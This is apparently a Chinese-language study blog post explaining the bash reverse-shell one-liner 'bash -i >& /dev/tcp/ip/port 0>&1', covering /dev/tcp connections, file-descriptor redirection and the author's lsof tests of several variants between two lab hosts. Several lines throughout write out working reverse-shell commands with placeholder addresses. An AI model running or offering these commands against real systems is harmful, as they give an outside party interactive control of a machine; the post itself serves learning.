bash -i >& /dev/tcp/ip/port 0>&1
在这一句命令中,主要包含两个问题:“>&”和“/dev/tcp/ip/port”。
1. /dev/tcp/ip/port
/dev目录下存放这设备文件,但是/dev/tcp/ip/port却并不是设备文件,而是更类似与系统接口,用于向 ip: port 发起TCP连接。
2. >&
这是有关bash重定向的问题。
>:输出重定向,即是对文件描述符1进行重定向,相当于“1>”;
<:输入重定向,即是对文件描述符0进行重定向,相当于“0<”;
在这里又引出了文件描述符的概念。0是标准输入,1是标准输出,2是标准错误。
第一个“>&”与后面的file即“/dev/tcp/ip/port”相连接,等价于“>/dev/tcp/ip/port 2>&1”。
即,也可以写为:
bash -i > /dev/tcp/ip/port 2>&1 0>&1
上面的“2>&1”和“0>&1”中的“>”表示输出重定向,“&”表示后面跟的是文件描述符而不是文件。
综合来看,“bash -i >& /dev/tcp/ip/port 0>&1”这句话的含义就是:打开一个交互式bash,然后重定向到 ip: port ,再把标准错误和标准输入都重定向到标准输出。
3. 思考
- 有个问题,标准输入(0)为什么要“输出重定向”到标准输出(1)?如果使用“输入重定向”可以吗?
假设主机A(192.168.3.72)发起监听,主机B反弹shell到主机A。经过测试,如果把“0>&1”删除,那么在A上输入命令无效,而在B上输入命令的结果会发送到主机A上:
图1 主机B在缺少“0>&1”的情况下发起反弹shell
图2 主机A接收主机B的命令以及输入命令的结果
如图1所示,主机B在缺少“0>&1”的情况下发起反弹shell,此时因为标准输出已经被重定向到了主机A,所以主机B上输入任何命令都不会显示在终端上,但是命令的执行结果会输出到主机A上,就像图2中第一个“pwd”命令一样。但是在主机2上输入命令,虽然会显示在终端上,但却无法获取结果。使用命令查看进程的文件描述符0,1,2:
netstat -pantu #获取进程的PID
lsof -a -p PID -d0,1,2,3 #查看pid为PID的进程的文件描述符0,1,2
lsof命令的结果如图3所示:
图3 lsof结果
可以从图3中看到,文件描述符0仍然是/dev/pts/0,而1,2都已经被重定向到了主机A。所以才会出现上面的情况。所以才需要让0也重定向到主机A。
但我又想到了另一个问题:重定向0、1、2,为什么用的是“输出重定向”?用“输入重定向”不可以吗?
根据测试,是可以的。而且根据效果来看,不管是“输出重定向”还是“输入重定向”都变成了“重定向”,纠结“输入”和“输出”已无意义。
下面来看测试结果:
(1). bash -i >& /dev/tcp/ip/port 0>&1
仍然是lsof命令,结果如图4所示:
图4 正常情况下的lsof结果
从图4中可以看到0、1、2都被重定向到了主机A。
(2).bash -i >& /dev/tcp/ip/port 0<&1
图5 “0>&1”变为“0<&1”时的lsof结果
此时“0>&1”中的输出重定向变成了输入重定向。但从图5中看到,0、1、2的重定向没有问题。
(3).bash -i 1< /dev/tcp/ip/port 2>&1 0>&1
图6 将/dev/tcp/ip/port输入重定向到1时,lsof的结果
可以看到,/dev/tcp/ip/port输入重定向到1时,0、1、2的重定向仍没有问题。
暂时就测试这几个。
标签:shell,重定向,ip,dev,学习,tcp,主机,port,bash From: https://www.cnblogs.com/brilliantHongXi/p/17079003.html